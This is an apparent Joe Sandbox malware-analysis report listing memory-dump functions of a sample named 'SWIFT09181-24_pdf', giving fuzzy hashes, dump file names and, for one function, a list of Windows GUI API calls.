Instruction ID: ba1974f7b3379a2b6320d58cfee9c63ea9580c7ddcbf1902c1ffe6d29ae4f865
Opcode Fuzzy Hash: 0d7ae483b30c3c80b8cdffb85c8124d9fcf5bbfa96d183c01d8dabe8862f20e2
Instruction Fuzzy Hash: 18629D74E01228CFDB64DFA5C984B9DBBB2BF89301F1085E9E409AB255DB319E85CF50

Function 3791B07F Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 016cc3d3de7621790a0418669106a70cb757404ab548a66fd8e964846c7d8036
Instruction ID: f7ef4844bc07c63827ef2713184605ec5d5a4b1076a34bc4e28c458d7fa82af0
Opcode Fuzzy Hash: 016cc3d3de7621790a0418669106a70cb757404ab548a66fd8e964846c7d8036
Instruction Fuzzy Hash: E0C1B074E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF11

Function 3791E790 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a33ea28bb7089f5d91175aef0505bafd6563cf025ae3aea7f764e9410fef26b8
Instruction ID: 978ac65ed4ddc2e865dbd0f657d5af2f603014c343ce08c9ad0999d25327e3cb
Opcode Fuzzy Hash: a33ea28bb7089f5d91175aef0505bafd6563cf025ae3aea7f764e9410fef26b8
Instruction Fuzzy Hash: 39C1B174E00218CFEB14DFA9C994B9DBBB2AF89305F1081A9D409AB365DB359E85CF10

Function 3791DEE1 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a04bc375a8abd5842ac9c430da23ed9ecc836630625ded27caa4cc8d8dd020
Instruction ID: 52f05c57028b51951922fbe15e7a592816f9a4725f4f54e8add60b2c961e3968
Opcode Fuzzy Hash: 86a04bc375a8abd5842ac9c430da23ed9ecc836630625ded27caa4cc8d8dd020
Instruction Fuzzy Hash: C6C1C274E00218CFEB14DFA5C994B9DBBB2AF89305F2081A9D408BB355DB359E85CF51

Function 3791DA89 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c202756fb00fff197427ecb7999b428054a84f07bd3b546065dbe5ea637dbbfb
Instruction ID: ca5af25edcc6844215d648d2bd306fbb70915efeb29e11303383c141c83be522
Opcode Fuzzy Hash: c202756fb00fff197427ecb7999b428054a84f07bd3b546065dbe5ea637dbbfb
Instruction Fuzzy Hash: D9C1B074E00218CFEB14DFA9C994B9DBBB2AF89304F1081A9D409BB365DB359E85CF51

Function 3791EBF2 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a82a3948d12d0e94449cd19229b6bbfe34aa2d7f2b01e757e5edae24d452b1b
Instruction ID: 8c12241fddb6a515e4438f321e6cce5048ff27354034234b84b4ae4221e6c4d0
Opcode Fuzzy Hash: 6a82a3948d12d0e94449cd19229b6bbfe34aa2d7f2b01e757e5edae24d452b1b
Instruction Fuzzy Hash: B3C1B174E00218CFEB14DFA5C994B9DBBB2AF89305F1081A9D809BB365DB359E85CF11

Function 3791E340 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9efebd5ba08264bea3fd30de7ede78515ef5c8d966f3cee10909a31c66e2d92d
Instruction ID: 33c9658da51cfd56e69c704afcf1ecbf716a3a86dd7030c3f593741103ef64f7
Opcode Fuzzy Hash: 9efebd5ba08264bea3fd30de7ede78515ef5c8d966f3cee10909a31c66e2d92d
Instruction Fuzzy Hash: 04C1A074E00218CFEB14DFA5C994B9DBBB2AF89305F2081A9D408BB365DB359E85CF11

Function 3A655660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34e2715b17c9838487811964b44903a39ec56168babba81753047fa7457db677
Instruction ID: 1333fb50582d42f7185f12d42817b9365d1ec28d3df7d3a3003ab368d52e29d9
Opcode Fuzzy Hash: 34e2715b17c9838487811964b44903a39ec56168babba81753047fa7457db677
Instruction Fuzzy Hash: 9BC1AE74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409AB365DB359E85CF51

Function 3A652560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e4f68b3ad79bd7f924616bdef616422165d13d28b455f9ecbded12ac1c817c
Instruction ID: 6903e50ffae7f83bcbc6e12e83013cf7fd9a58beeb102aaed9713b86deef890f
Opcode Fuzzy Hash: 60e4f68b3ad79bd7f924616bdef616422165d13d28b455f9ecbded12ac1c817c
Instruction Fuzzy Hash: 25C1C074E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A653268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 466200df559d954871e25739fd7a3a4174beb2a5ac9cd14a714afa789500c770
Instruction ID: 5bd3800b6a4e82a240b2160fd502a2ab040b1fe96ef06ed5c01e580f4819608e
Opcode Fuzzy Hash: 466200df559d954871e25739fd7a3a4174beb2a5ac9cd14a714afa789500c770
Instruction Fuzzy Hash: 2FC1BE74E00218CFEB54DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF51

Function 3A656368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc636d8b57a83ab4db805aa9f9dc088986a107979f445b0feff3d51b45f11118
Instruction ID: 49a79e601129ad0654024c860532b81b849037d24c0688ab501e202522c77736
Opcode Fuzzy Hash: fc636d8b57a83ab4db805aa9f9dc088986a107979f445b0feff3d51b45f11118
Instruction Fuzzy Hash: 92C1CF74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A657070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f9115365c75d258a1f2aaa56ec49bc90cd10adb88d177d4ae3dbbcf41636ab5
Instruction ID: 1ba7f67ab42e9cada83d16865678779258fb29d2e1599028e627db0d6470cdb8
Opcode Fuzzy Hash: 2f9115365c75d258a1f2aaa56ec49bc90cd10adb88d177d4ae3dbbcf41636ab5
Instruction Fuzzy Hash: EBC1A074E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A653F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9d5cebd3d45143f18fc3bae10114bc0c7b0f8c87ed2f51689b5a98010a0c078
Instruction ID: f5bc4b327dc635c4775c97f3fcf13f94ac95c784792f2b50a84f1c89011c79fa
Opcode Fuzzy Hash: b9d5cebd3d45143f18fc3bae10114bc0c7b0f8c87ed2f51689b5a98010a0c078
Instruction Fuzzy Hash: 4CC1CE74E01218CFEB14DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF51

Function 3A651858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1eb59bafe68c2eeed97a77102dd6743c646b190547194d9756bb7e6d6d2a329
Instruction ID: 3a603ab5e48b3020076c6e19ae92f806c5914bb8d2e6fdb680be6bf42fc73b1a
Opcode Fuzzy Hash: d1eb59bafe68c2eeed97a77102dd6743c646b190547194d9756bb7e6d6d2a329
Instruction Fuzzy Hash: 08C1BF74E00218CFEB14DFA5C994B9DBBB2AF89301F2081A9D409BB365DB359E85CF51

Function 3A654820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a7b728e71f172e61ea213002d5769d6353f6b747636f53a291c04dd418bcbcc
Instruction ID: 0cd3b92f0a53147c692e5654e2df04a703199de786129cbe531fcd2acc5a51e8
Opcode Fuzzy Hash: 9a7b728e71f172e61ea213002d5769d6353f6b747636f53a291c04dd418bcbcc
Instruction Fuzzy Hash: 13C1BF74E00218CFEB54DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF51

Function 3A651400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c16f5c2215141773dea549a32e6c4a7c1807398620b25468ce2f72c50d2ae0c
Instruction ID: 6ca09dc85d23e513e8cede4c58a29198d7ec846fff6c573128342a0bf773d572
Opcode Fuzzy Hash: 9c16f5c2215141773dea549a32e6c4a7c1807398620b25468ce2f72c50d2ae0c
Instruction Fuzzy Hash: 66C1B074E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A655208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bd8e6a6af0f13621d794f23e655c2b3d6d452a6b92d903cab0afc8eaa36e215
Instruction ID: 99db80659ea9a12276443219289360f50bf627d65e8fd4bb4311e18dafd76462
Opcode Fuzzy Hash: 4bd8e6a6af0f13621d794f23e655c2b3d6d452a6b92d903cab0afc8eaa36e215
Instruction Fuzzy Hash: D9C1CF74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF11

Function 3A652108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c73b7e98d41fe1661f03ffee80383f7d779dec6b980e06e462771ff4647ef21
Instruction ID: 1757e8dc78cf3e64b7878b62f10f31fe49743c95f957fa32ff90c62a7cc66204
Opcode Fuzzy Hash: 0c73b7e98d41fe1661f03ffee80383f7d779dec6b980e06e462771ff4647ef21
Instruction Fuzzy Hash: 17C1BE74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A652E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05464cf9fd6f135ef070214c03ff79078c6ee9e0c417e7b8cc64c2c49b795ef2
Instruction ID: 51168da622178adf7e0a66c62c4dcd654d1af134797c8e6c88fd38294e0d2e33
Opcode Fuzzy Hash: 05464cf9fd6f135ef070214c03ff79078c6ee9e0c417e7b8cc64c2c49b795ef2
Instruction Fuzzy Hash: 3AC1A074E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A655F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c8bf21eef970854adf3bf62c7c86603a1dddbac800d8667a71c0fb42ab214a
Instruction ID: c2ff29886bdd1fb605bc75abc58c9a13524a76d09f15954516b3519e95c8e410
Opcode Fuzzy Hash: f2c8bf21eef970854adf3bf62c7c86603a1dddbac800d8667a71c0fb42ab214a
Instruction Fuzzy Hash: 65C1B074E00218CFEB54DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF51

Function 3A656C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c915de158c97c52ca6d3c0c2524cdb29d1668c284c9e74c28cdb9a9f3405b11c
Instruction ID: f53166b5cabc75065e877305b8ed7956763026ae67ddf0e4b388de6dd60ae465
Opcode Fuzzy Hash: c915de158c97c52ca6d3c0c2524cdb29d1668c284c9e74c28cdb9a9f3405b11c
Instruction Fuzzy Hash: DFC1CF74E01218CFEB14DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF11

Function 3A653B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ff46306e9ad0e1006557f50a52ed53a7a2d6f300fb1ccaf6d2e1d163093eaac
Instruction ID: 21ad23a2e4392e8ed2e3846b9b93d8e6b0f4fa5e0f66fac145956c5ce2c94f13
Opcode Fuzzy Hash: 1ff46306e9ad0e1006557f50a52ed53a7a2d6f300fb1ccaf6d2e1d163093eaac
Instruction Fuzzy Hash: 21C1B074E00218CFEB14DFA5C994B9DBBB2AF89304F1081A9D409BB365DB359E85CF51

Function 3A6536C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f5ea39eb1d6cd0b9d0fc639707eceea561a854c5d4f0a32de411d90b32f071
Instruction ID: a44e1dca17aa5834b2afa0c0e5e3d267850ab45fcfa62ec227d43020722dd4ed
Opcode Fuzzy Hash: d3f5ea39eb1d6cd0b9d0fc639707eceea561a854c5d4f0a32de411d90b32f071
Instruction Fuzzy Hash: AEC1BF74E01218CFEB14DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF51

Function 3A6567C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a50ae8a14c9c4472ebc544575d93f036a7559710160cec19c00d21358a85099f
Instruction ID: 6e8669508dc51667b3128ed6e4aacc0dce0746d2de092e1995c60e8e20217ace
Opcode Fuzzy Hash: a50ae8a14c9c4472ebc544575d93f036a7559710160cec19c00d21358a85099f
Instruction Fuzzy Hash: 5CC1BF74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A6574C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5feb05fb97ddc1be0409f96dc1f75344d02c80c3990ec8588eeb9cf83e4782c5
Instruction ID: a4a3bcca8b5877cd4bc4340c61b0c060dda214ef5e4e05089e06283c0c015237
Opcode Fuzzy Hash: 5feb05fb97ddc1be0409f96dc1f75344d02c80c3990ec8588eeb9cf83e4782c5
Instruction Fuzzy Hash: A1C1BF74E00218CFEB54DFA5C994B9DBBB2AF89304F2085A9D408BB365DB359E85CF11

Function 3A6543C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c815089e5ed2202f738d90a094420f63645d87e5b9bc6f90e3bc635b5796321
Instruction ID: 9d09dbb3a53b9e36b76fbbec59331082b15ff1a36216cd94d36efc512fa44242
Opcode Fuzzy Hash: 6c815089e5ed2202f738d90a094420f63645d87e5b9bc6f90e3bc635b5796321
Instruction Fuzzy Hash: F7C1BF74E01218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF11

Function 3A650FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c162d6657000d215fa62a3050fc63c7c18e4e5c641a3cdb8eed60cf17922a70c
Instruction ID: 40ac3fdbb21fe20d4bafb6f69c09cdd437cb8814c2306403b25851fa8e123200
Opcode Fuzzy Hash: c162d6657000d215fa62a3050fc63c7c18e4e5c641a3cdb8eed60cf17922a70c
Instruction Fuzzy Hash: 65C1AF74E00218CFEB54DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF51

Function 3A651CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e359128f9efe28fa0aebdeea609c6abd4c4cf1c369c85f53ef879b6c0140dd0
Instruction ID: 8e1c999e518a7d4b38271427b4702aefe8f9c24dffdc5d834079693e8c03e261
Opcode Fuzzy Hash: 1e359128f9efe28fa0aebdeea609c6abd4c4cf1c369c85f53ef879b6c0140dd0
Instruction Fuzzy Hash: D4C1C174E00218CFEB14DFA5C994B9DBBB2AF89300F1081A9D809BB365DB359E85CF51

Function 3A654DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6b84564e06bd0ee7bb8aac9875d2046adab71ce10ca20af73e6e13f3653d00a
Instruction ID: dcbff912b19ba86fc88862e038dacb7c83728367f71f2bc89da0bd06b6a646eb
Opcode Fuzzy Hash: b6b84564e06bd0ee7bb8aac9875d2046adab71ce10ca20af73e6e13f3653d00a
Instruction Fuzzy Hash: D0C1B074E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF51

Function 3A655AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951886199.000000003A650000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3a650000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4bf616c94487248c0759e0062014d572e9ce8fddf78de69870d58cfcd30427e
Instruction ID: b163640526c1422f9376b540360ef5af0efc0480d290f8bd75fd8ead5d4a5e69
Opcode Fuzzy Hash: e4bf616c94487248c0759e0062014d572e9ce8fddf78de69870d58cfcd30427e
Instruction Fuzzy Hash: E4C1BF74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF51

Function 3791C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 888f2926d2d16288f1d2f6505b7b35278ef630fef49ae1a28fcd124e834bb380
Instruction ID: 8b729c1c2e0545ea79790fa4aa7108cc051595b9ac2f6cc36090489f9302efec
Opcode Fuzzy Hash: 888f2926d2d16288f1d2f6505b7b35278ef630fef49ae1a28fcd124e834bb380
Instruction Fuzzy Hash: 34C1AF74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF11

Function 3791BD9C Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aa6ebb74104055649175157afb534e50a8c4d3ca9e4b9c8cb8d0c62589fbce7
Instruction ID: 2a695d83b8bd542f8a04197186e599c4f859191796145628f7961f34ddddd15a
Opcode Fuzzy Hash: 4aa6ebb74104055649175157afb534e50a8c4d3ca9e4b9c8cb8d0c62589fbce7
Instruction Fuzzy Hash: B7C1A074E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF11

Function 3791B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23fa3a2dd394ebb83c15a6776234d4b7f8ece20ec2af9745a3a9ea673c8cfb41
Instruction ID: e4ecb8a311d02dff65d0c0916be2c963281f37c6b7c77ab8991f3fcf7cd36e65
Opcode Fuzzy Hash: 23fa3a2dd394ebb83c15a6776234d4b7f8ece20ec2af9745a3a9ea673c8cfb41
Instruction Fuzzy Hash: 29C1A074E00218CFEB14DFA5C994B9DBBB2AF89305F2081A9D409BB365DB359E85CF10

Function 3791B944 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70d137bd580aeb051b231a312a33cff2683d8ddac7338baef2bae6bc0aed0c4b
Instruction ID: ac2ac508432e07a5ad6bb7e5fbedd7e9b7aab4ee6df645ad254c3389abea8110
Opcode Fuzzy Hash: 70d137bd580aeb051b231a312a33cff2683d8ddac7338baef2bae6bc0aed0c4b
Instruction Fuzzy Hash: 24C1AF74E00218CFEB14DFA5C994B9DBBB2AF89304F2081A9D409BB365DB359E85CF10

Function 3791F054 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2951033157.0000000037910000.00000040.00000800.00020000.00000000.sdmp, Offset: 37910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37910000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6e1f9ddc9e1cf60b360d6973a96b2508d5414b883dea7917b4e970b97800387
Instruction ID: 74089b32113743fabf6bfdd3c10f9fd11a72d4a4107a52afc8f5f914d3c4b7b1
Opcode Fuzzy Hash: e6e1f9ddc9e1cf60b360d6973a96b2508d5414b883dea7917b4e970b97800387
Instruction Fuzzy Hash: ABC1BF74E01218CFEB14DFA5C994B9DBBB2AF89304F2081A9D408BB365DB359E85CF11

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004053F7
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040540A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040542C
ShowWindow.USER32(?,00000008), ref: 00405440
GetDlgItem.USER32(?,000003EC), ref: 00405461
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405471
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040548A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405496
GetDlgItem.USER32(?,000003F8), ref: 0040536F

Part of subcall function 0040414E: SendMessageW.USER32(00000028,?,00000001,00403F7A), ref: 0040415C

GetDlgItem.USER32(?,000003EC), ref: 004054B3
CreateThread.KERNEL32(00000000,00000000,Function_00005287,00000000), ref: 004054C1
CloseHandle.KERNEL32(00000000), ref: 004054C8
ShowWindow.USER32(00000000), ref: 004054EC
ShowWindow.USER32(?,00000008), ref: 004054F1
ShowWindow.USER32(00000008), ref: 0040553B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040556F
CreatePopupMenu.USER32 ref: 00405580
